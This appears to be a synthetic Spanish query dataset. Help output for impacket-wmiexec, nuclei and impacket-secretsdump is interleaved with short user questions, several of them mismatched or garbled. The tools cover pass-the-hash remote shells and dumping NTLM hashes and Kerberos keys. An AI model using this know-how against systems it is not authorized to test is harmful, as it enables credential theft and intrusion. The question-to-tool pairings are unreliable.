    rdp                 own stuff using RDP
```

que programa puedo usar para administrar archivos con SMB


cual es una alternativa libre a SSH para conectarme a servidores


con que herramienta accedo a mis impresiones remota usando RDP


# impacket-wmiexec — manual

Salida de `impacket-wmiexec -h`, capturada de la propia herramienta. Referencia completa de opciones (las invocaciones del dia a dia estan en el cheatsheet de comandos).

```
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

usage: wmiexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-silentcommand]
                  [-debug] [-codec CODEC] [-shell-type {cmd,powershell}]
                  [-com-version MAJOR_VERSION:MINOR_VERSION]
                  [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
                  [-dc-ip ip address] [-A authfile] [-keytab KEYTAB]
                  target [command ...]

Executes a semi-interactive shell using Windows Management Instrumentation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  command               command to execute at the target. If empty it will
                        launch a semi-interactive shell

que programa puedo usar para ejecutar comandos remotos en Windows


cómo montar una sesión interactiva a través de WMI


qué herramienta sirve para correr un shell en destino usando el protocolo de gestión


options:
  -h, --help            show this help message and exit
  -share SHARE          share where the output will be grabbed from (default
                        ADMIN$)
  -nooutput             whether or not to print the output (no SMB connection
                        created)
  -ts                   Adds timestamp to every logging output
  -silentcommand        does not execute cmd.exe to run given command (no
                        output)
  -debug                Turn DEBUG output ON
  -codec CODEC          Sets encoding used (codec) from the target's output
                        (default "utf-8"). If errors are detected, run
                        chcp.com at the target, map the result with https://do
                        cs.python.org/3/library/codecs.html#standard-encodings
                        and then execute wmiexec.py again with -codec and the
                        corresponding codec
  -shell-type {cmd,powershell}
                        choose a command processor for the semi-interactive
                        shell
  -com-version MAJOR_VERSION:MINOR_VERSION
                        DCOM version, format is MAJOR_VERSION:MINOR_VERSION
                        e.g. 5.7

que programa sirve para compartir archivos a través de red


cómo puedo ejecutar comandos en una máquina remota sin que salga nada por pantalla


cuál herramienta me ayuda a configurar la codificación del texto al conectar con otros sistemas


authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from
                        ccache file (KRB5CCNAME) based on target parameters.
                        If valid credentials cannot be found, it will use the
                        ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256
                        bits)
  -dc-ip ip address     IP Address of the domain controller. If ommited it use
                        the domain part (FQDN) specified in the target
                        parameter
  -A authfile           smbclient/mount.cifs-style authentication file. See
                        smbclient man page's -A option.
  -keytab KEYTAB        Read keys for SPN from keytab file
```

que herramienta sirve para romper contraseñas de dominio con Kerberos?


con que puedo hacer autenticación sin pedir contraseña en una máquina remota?


# nuclei — manual

Salida de `nuclei --help`, capturada de la propia herramienta. Referencia completa de opciones (las invocaciones del dia a dia estan en el cheatsheet de comandos).

```
Nuclei is a fast, template based vulnerability scanner focusing
on extensive configurability, massive extensibility and ease of use.

Usage:
  nuclei [flags]

Flags:
TARGET:
   -u, -target string[]          target URLs/hosts to scan
   -l, -list string              path to file containing a list of target URLs/hosts to scan (one per line)
   -eh, -exclude-hosts string[]  hosts to exclude to scan from the input list (ip, cidr, hostname)
   -resume string                resume scan using resume.cfg (clustering will be disabled)
   -sa, -scan-all-ips            scan all the IP's associated with dns record
   -iv, -ip-version string[]     IP version to scan of hostname (4,6) - (default 4)

que herramienta sirve para escanear vulnerabilidades en URLs


cual es una alternativa libre a los scanners de seguridad tradicionales


TARGET-FORMAT:
   -im, -input-mode string        mode of input file (list, burp, jsonl, yaml, openapi, swagger) (default "list")
   -ro, -required-only            use only required fields in input format when generating requests
   -sfv, -skip-format-validation  skip format validation (like missing vars) when parsing input file

que programa genera peticiones con campos requeridos en formatos como JSONL o YAML?


cual es una herramienta que ignore la validacion de formato al leer archivos de entrada?


TEMPLATES:
   -nt, -new-templates                    run only new templates added in latest nuclei-templates release
   -ntv, -new-templates-version string[]  run new templates added in specific version
   -as, -automatic-scan                   automatic web scan using wappalyzer technology detection to tags mapping
   -t, -templates string[]                list of template or template directory to run (comma-separated, file)
   -turl, -template-url string[]          template url or list containing template urls to run (comma-separated, file)
   -ai, -prompt string                    generate and run template using ai prompt
   -w, -workflows string[]                list of workflow or workflow directory to run (comma-separated, file)
   -wurl, -workflow-url string[]          workflow url or list containing workflow urls to run (comma-separated, file)
   -validate                              validate the passed templates to nuclei
   -nss, -no-strict-syntax                disable strict syntax check on templates
   -td, -template-display                 displays the templates content
   -tl                                    list all available templates
   -tgl                                   list all available tags
   -sign                                  signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
   -code                                  enable loading code protocol-based templates
   -dut, -disable-unsigned-templates      disable running unsigned templates or templates with mismatched signature
   -esc, -enable-self-contained           enable loading self-contained templates
   -egm, -enable-global-matchers          enable loading global matchers templates
   -file                                  enable loading file templates

qué herramienta sirve para escanear sitios web con plantillas personalizadas?


con qué puedo generar un análisis de vulnerabilidades usando una plantilla creada por IA?


hay alguna alternativa libre a nuclei que permita usar sus propias plantillas?


FILTERING:
   -a, -author string[]               templates to run based on authors (comma-separated, file)
   -tags string[]                     templates to run based on tags (comma-separated, file)
   -etags, -exclude-tags string[]     templates to exclude based on tags (comma-separated, file)
   -itags, -include-tags string[]     tags to be executed even if they are excluded either by default or configuration
   -id, -template-id string[]         templates to run based on template ids (comma-separated, file, allow-wildcard)
   -eid, -exclude-id string[]         templates to exclude based on template ids (comma-separated, file)
   -it, -include-templates string[]   path to template file or directory to be executed even if they are excluded either by default or configuration
   -et, -exclude-templates string[]   path to template file or directory to exclude (comma-separated, file)
   -em, -exclude-matchers string[]    template matchers to exclude in result
   -s, -severity value[]              templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
   -es, -exclude-severity value[]     templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
   -pt, -type value[]                 templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
   -ept, -exclude-type value[]        templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
   -tc, -template-condition string[]  templates to run based on expression condition

qué herramienta puedo usar para filtrar alertas por sus etiquetas o autores?


¿con qué programa puedo separar las notificaciones según su severidad?


hay alguna aplicación que me permita ejecutar plantillas específicas basándome en el tipo de protocolo?


OUTPUT:
   -o, -output string            output file to write found issues/vulnerabilities
   -sresp, -store-resp           store all request/response passed through nuclei to output directory
   -srd, -store-resp-dir string  store all request/response passed through nuclei to custom directory (default "output")
   -silent                       display findings only
   -nc, -no-color                disable output content coloring (ANSI escape codes)
   -j, -jsonl                    write output in JSONL(ines) format
   -irr, -include-rr -omit-raw   include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
   -or, -omit-raw                omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)
   -ot, -omit-template           omit encoded template in the JSON, JSONL output
   -nm, -no-meta                 disable printing result metadata in cli output
   -ts, -timestamp               enables printing timestamp in cli output
   -rdb, -report-db string       nuclei reporting database (always use this to persist report data)
   -ms, -matcher-status          display match failure status
   -me, -markdown-export string  directory to export results in markdown format
   -se, -sarif-export string     file to export results in SARIF format
   -je, -json-export string      file to export results in JSON format
   -jle, -jsonl-export string    file to export results in JSONL(ine) format
   -rd, -redact string[]         redact given list of keys from query parameter, request header and body

que programa sirve para detectar vulnerabilidades en webs


con que puedo hacer un escaneo de seguridad automático


cual es una herramienta para analizar ataques a aplicaciones web


CONFIGURATIONS:
   -config string                        path to the nuclei configuration file
   -tp, -profile string                  template profile config file to run
   -tpl, -profile-list                   list community template profiles
   -fr, -follow-redirects                enable following redirects for http templates
   -fhr, -follow-host-redirects          follow redirects on the same host
   -mr, -max-redirects int               max number of redirects to follow for http templates (default 10)
   -dr, -disable-redirects               disable redirects for http templates
   -rc, -report-config string            nuclei reporting module configuration file
   -H, -header string[]                  custom header/cookie to include in all http request in header:value format (cli, file)
   -V, -var value                        custom vars in key=value format
   -r, -resolvers string                 file containing resolver list for nuclei
   -sr, -system-resolvers                use system DNS resolving as error fallback
   -dc, -disable-clustering              disable clustering of requests
   -passive                              enable passive HTTP response processing mode
   -fh2, -force-http2                    force http2 connection on requests
   -ev, -env-vars                        enable environment variables to be used in template
   -cc, -client-cert string              client certificate file (PEM-encoded) used for authenticating against scanned hosts
   -ck, -client-key string               client key file (PEM-encoded) used for authenticating against scanned hosts
   -ca, -client-ca string                client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
   -sml, -show-match-line                show match lines for file templates, works with extractors only
   -ztls                                 use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default
   -sni string                           tls sni hostname to use (default: input domain name)
   -dka, -dialer-keep-alive value        keep-alive duration for network requests.
   -lfa, -allow-local-file-access        allows file (payload) access anywhere on the system
   -lna, -restrict-local-network-access  blocks connections to the local / private network
   -i, -interface string                 network interface to use for network scan
   -at, -attack-type string              type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
   -sip, -source-ip string               source ip address to use for network scan
   -rsr, -response-size-read int         max response size to read in bytes
   -rss, -response-size-save int         max response size to read in bytes (default 1048576)
   -reset                                reset removes all nuclei configuration and data files (including nuclei-templates)
   -tlsi, -tls-impersonate               enable experimental client hello (ja3) tls randomization
   -hae, -http-api-endpoint string       experimental http api endpoint

que programa puedo usar para hacer pruebas de penetración en servidores web


con qué herramienta puedo verificar si mis servicios están expuestos públicamente


INTERACTSH:
   -iserver, -interactsh-server string  interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
   -itoken, -interactsh-token string    authentication token for self-hosted interactsh server
   -interactions-cache-size int         number of requests to keep in the interactions cache (default 5000)
   -interactions-eviction int           number of seconds to wait before evicting requests from cache (default 60)
   -interactions-poll-duration int      number of seconds to wait before each interaction poll request (default 5)
   -interactions-cooldown-period int    extra time for interaction polling before exiting (default 5)
   -ni, -no-interactsh                  disable interactsh server for OAST testing, exclude OAST based templates

que herramienta sirve para detectar vulnerabilidades de inyección SQL en aplicaciones web?


con que puedo probar si una aplicación web es vulnerable a ataques XSS?


cual es la mejor forma de automatizar pruebas contra servidores propios para detectar fallos de seguridad?


FUZZING:
   -ft, -fuzzing-type string           overrides fuzzing type set in template (replace, prefix, postfix, infix)
   -fm, -fuzzing-mode string           overrides fuzzing mode set in template (multiple, single)
   -fuzz                               enable loading fuzzing templates (Deprecated: use -dast instead)
   -dast                               enable / run dast (fuzz) nuclei templates
   -dts, -dast-server                  enable dast server mode (live fuzzing)
   -dtr, -dast-report                  write dast scan report to file
   -dtst, -dast-server-token string    dast server token (optional)
   -dtsa, -dast-server-address string  dast server address (default "localhost:9055")
   -dfp, -display-fuzz-points          display fuzz points in the output for debugging
   -fuzz-param-frequency int           frequency of uninteresting parameters for fuzzing before skipping (default 10)
   -fa, -fuzz-aggression string        fuzzing aggression level controls payload count for fuzz (low, medium, high) (default "low")
   -cs, -fuzz-scope string[]           in scope url regex to be followed by fuzzer
   -cos, -fuzz-out-scope string[]      out of scope url regex to be excluded by fuzzer

que programa sirve para probar vulnerabilidades en aplicaciones web


con que puedo hacer un fuzzing de una URL


hay alguna herramienta gratuita que detecte fallos comunes en sitios web


UNCOVER:
   -uc, -uncover                  enable uncover engine
   -uq, -uncover-query string[]   uncover search query
   -ue, -uncover-engine string[]  uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow,google,odin,binaryedge) (default shodan)
   -uf, -uncover-field string     uncover fields to return (ip,port,host) (default "ip:port")
   -ul, -uncover-limit int        uncover results to return (default 100)
   -ur, -uncover-ratelimit int    override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 60)

que herramienta sirve para hacer búsqueda inversa de IPs con múltiples fuentes?


cual es una alternativa a shodan que permita elegir varios motores de búsqueda como censys o fofa?


como puedo ejecutar búsquedas de inteligencia contra direcciones IP con límites controlados?


RATE-LIMIT:
   -rl, -rate-limit int               maximum number of requests to send per second (default 150)
   -rld, -rate-limit-duration value   maximum number of requests to send per second (default 1s)
   -rlm, -rate-limit-minute int       maximum number of requests to send per minute (DEPRECATED)
   -bs, -bulk-size int                maximum number of hosts to be analyzed in parallel per template (default 25)
   -c, -concurrency int               maximum number of templates to be executed in parallel (default 25)
   -hbs, -headless-bulk-size int      maximum number of headless hosts to be analyzed in parallel per template (default 10)
   -headc, -headless-concurrency int  maximum number of headless templates to be executed in parallel (default 10)
   -jsc, -js-concurrency int          maximum number of javascript runtimes to be executed in parallel (default 120)
   -pc, -payload-concurrency int      max payload concurrency for each template (default 25)
   -prc, -probe-concurrency int       http probe concurrency with httpx (default 50)

que herramienta sirve para enviar peticiones HTTP masivamente en paralelo?


con que puedo automatizar la prueba de penetración a miles de hosts al mismo tiempo?


cual es un programa con muchas opciones para ejecutar scripts de JavaScript y payloads concurrentes?


OPTIMIZATIONS:
   -timeout int                     time to wait in seconds before timeout (default 10)
   -retries int                     number of times to retry a failed request (default 1)
   -ldp, -leave-default-ports       leave default HTTP/HTTPS ports (eg. host:80,host:443)
   -mhe, -max-host-error int        max errors for a host before skipping from scan (default 30)
   -te, -track-error string[]       adds given error to max-host-error watchlist (standard, file)
   -nmhe, -no-mhe                   disable skipping host from scan based on errors
   -project                         use a project folder to avoid sending same request multiple times
   -project-path string             set a specific project path (default "/tmp")
   -spm, -stop-at-first-match       stop processing HTTP requests after the first match (may break template/workflow logic)
   -stream                          stream mode - start elaborating without sorting the input
   -ss, -scan-strategy value        strategy to use while scanning(auto/host-spray/template-spray) (default auto)
   -irt, -input-read-timeout value  timeout on input read (default 3m0s)
   -nh, -no-httpx                   disable httpx probing for non-url input
   -no-stdin                        disable stdin processing

con que programa puedo hacer un escaneo de redes con opciones de tiempo de espera y reintentos


hay alguna herramienta para automatizar pruebas HTTP que pueda dejar los puertos predeterminados


HEADLESS:
   -headless                        enable templates that require headless browser support (root user on Linux will disable sandbox)
   -page-timeout int                seconds to wait for each page in headless mode (default 20)
   -sb, -show-browser               show the browser on the screen when running templates with headless mode
   -ho, -headless-options string[]  start headless chrome with additional options
   -sc, -system-chrome              use local installed Chrome browser instead of nuclei installed
   -lha, -list-headless-action      list available headless actions

que programa sirve para automatizar la descarga de páginas web sin mostrar la ventana del navegador?


cual es una herramienta que pueda ejecutar acciones en Chrome desde el fondo del sistema?


qué software permite configurar tiempos de espera y opciones adicionales al usar un navegador oculto?


DEBUG:
   -debug                     show all requests and responses
   -dreq, -debug-req          show all sent requests
   -dresp, -debug-resp        show all received responses
   -p, -proxy string[]        list of http/socks5 proxy to use (comma separated or file input)
   -pi, -proxy-internal       proxy all internal requests
   -ldf, -list-dsl-function   list all supported DSL function signatures
   -tlog, -trace-log string   file to write sent requests trace log
   -elog, -error-log string   file to write sent requests error log
   -version                   show nuclei version
   -hm, -hang-monitor         enable nuclei hang monitoring
   -v, -verbose               show verbose output
   -profile-mem string        generate memory (heap) profile & trace files
   -vv                        display templates loaded for scan
   -svd, -show-var-dump       show variables dump for debugging
   -vdl, -var-dump-limit int  limit the number of characters displayed in var dump (default 255)
   -ep, -enable-pprof         enable pprof debugging server
   -tv, -templates-version    shows the version of the installed nuclei-templates
   -hc, -health-check         run diagnostic check up

qué herramienta sirve para probar proxies HTTP?


con qué puedo ver todos los mensajes enviados y recibidos por un programa?


cual es una alternativa libre a nuclei para escanear vulnerabilidades?


UPDATE:
   -up, -update                      update nuclei engine to the latest released version
   -ut, -update-templates            update nuclei-templates to latest released version
   -ud, -update-template-dir string  custom directory to install / update nuclei-templates
   -duc, -disable-update-check       disable automatic nuclei/templates update check

STATISTICS:
   -stats                    display statistics about the running scan
   -sj, -stats-json          display statistics in JSONL(ines) format
   -si, -stats-interval int  number of seconds to wait between showing a statistics update (default 5)
   -mp, -metrics-port int    port to expose nuclei metrics on (default 9092)
   -hps, -http-stats         enable http status capturing (experimental)

que programa sirve para hacer escaneos rápidos de sitios web?


con qué puedo verificar el estado de un servidor en masa?


cual es una herramienta que muestre estadísticas detalladas sobre los resultados de un test?


CLOUD:
   -auth                           configure projectdiscovery cloud (pdcp) api key (default true)
   -tid, -team-id string           upload scan results to given team id (optional) (default "none")
   -cup, -cloud-upload             upload scan results to pdcp dashboard [DEPRECATED use -dashboard]
   -sid, -scan-id string           upload scan results to existing scan id (optional)
   -sname, -scan-name string       scan name to set (optional)
   -pd, -dashboard                 upload / view nuclei results in projectdiscovery cloud (pdcp) UI dashboard
   -pdu, -dashboard-upload string  upload / view nuclei results file (jsonl) in projectdiscovery cloud (pdcp) UI dashboard

AUTHENTICATION:
   -sf, -secret-file string[]  path to config file containing secrets for nuclei authenticated scan
   -ps, -prefetch-secrets      prefetch secrets from the secrets file

EXAMPLES:
Run nuclei on single host:
	$ nuclei -target example.com

Run nuclei with specific template directories:
	$ nuclei -target example.com -t http/cves/ -t ssl

Run nuclei against a list of hosts:
	$ nuclei -list hosts.txt

Run nuclei with a JSON output:
	$ nuclei -target example.com -json-export output.json

con que puedo subir los resultados de mis escaneos al panel de ProjectDiscovery Cloud?


cual es una alternativa gratuita o open source para hacer auditorías automatizadas de seguridad en múltiples hosts?


cómo obtengo las credenciales necesarias para ejecutar un escaneo autenticado sin tener que repetirlas cada vez?


Run nuclei with sorted Markdown outputs (with environment variables):
	$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/

Additional documentation is available at: https://docs.nuclei.sh/getting-started/running
```

cual es una alternativa libre a Nuclei para generar reportes en Markdown ordenados?


con que puedo realizar un escaneo de seguridad y exportar los resultados en formato Markdown?


# impacket-secretsdump — manual

Salida de `impacket-secretsdump -h`, capturada de la propia herramienta. Referencia completa de opciones (las invocaciones del dia a dia estan en el cheatsheet de comandos).

```
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

usage: secretsdump.py [-h] [-ts] [-debug] [-system SYSTEM] [-bootkey BOOTKEY]
                      [-security SECURITY] [-sam SAM] [-ntds NTDS]
                      [-resumefile RESUMEFILE] [-outputfile OUTPUTFILE]
                      [-use-vss] [-rodcNo RODCNO] [-rodcKey RODCKEY]
                      [-use-keylist]
                      [-exec-method [{smbexec,wmiexec,mmcexec}]]
                      [-just-dc-user USERNAME] [-just-dc] [-just-dc-ntlm]
                      [-pwd-last-set] [-user-status] [-history]
                      [-hashes LMHASH:NTHASH] [-no-pass] [-k]
                      [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address]
                      [-target-ip ip address]
                      target

Performs various techniques to dump secrets from the remote machine without
executing any agent there.

qué programa sirve para extraer contraseñas de sistemas Windows sin ejecutar agentes en el servidor?


con qué herramienta puedo capturar hashes NTLM y Kerberos de una máquina remota?


existe alguna alternativa libre a impacket-secretsdump para hacer dump de secretos?


options:
  -h, --help            show this help message and exit
  -ts                   Adds timestamp to every logging output
  -debug                Turn DEBUG output ON
  -system SYSTEM        SYSTEM hive to parse
  -bootkey BOOTKEY      bootkey for SYSTEM hive
  -security SECURITY    SECURITY hive to parse
  -sam SAM              SAM hive to parse
  -ntds NTDS            NTDS.DIT file to parse
  -resumefile RESUMEFILE
                        resume file name to resume NTDS.DIT session dump (only
                        available to DRSUAPI approach). This file will also be
                        used to keep updating the session's state
  -outputfile OUTPUTFILE
                        base output filename. Extensions will be added for
                        sam, secrets, cached and ntds
  -use-vss              Use the VSS method instead of default DRSUAPI
  -rodcNo RODCNO        Number of the RODC krbtgt account (only avaiable for
                        Kerb-Key-List approach)
  -rodcKey RODCKEY      AES key of the Read Only Domain Controller (only
                        avaiable for Kerb-Key-List approach)
  -use-keylist          Use the Kerb-Key-List method instead of default
                        DRSUAPI
  -exec-method [{smbexec,wmiexec,mmcexec}]
                        Remote exec method to use at target (only when using
                        -use-vss). Default: smbexec

que programa me permite extraer información de los hives del dominio?


cual es una herramienta para descargar la carpeta SYSVOL y el registro de dominio?


con que puedo leer archivos NTDSDIT y secretados de forma remota?


display options:
  -just-dc-user USERNAME
                        Extract only NTDS.DIT data for the user specified.
                        Only available for DRSUAPI approach. Implies also
                        -just-dc switch
  -just-dc              Extract only NTDS.DIT data (NTLM hashes and Kerberos
                        keys)
  -just-dc-ntlm         Extract only NTDS.DIT data (NTLM hashes only)
  -pwd-last-set         Shows pwdLastSet attribute for each NTDS.DIT account.
                        Doesn't apply to -outputfile data
  -user-status          Display whether or not the user is disabled
  -history              Dump password history, and LSA secrets OldVal

que herramienta sirve para extraer solo hashes de NTLM del archivo NTDS.DIT?


cual es una alternativa libre para ver si un usuario está deshabilitado en Active Directory?


como accedo a la información de claves Kerberos y hashes de NTLM sin mostrar todo el contenido?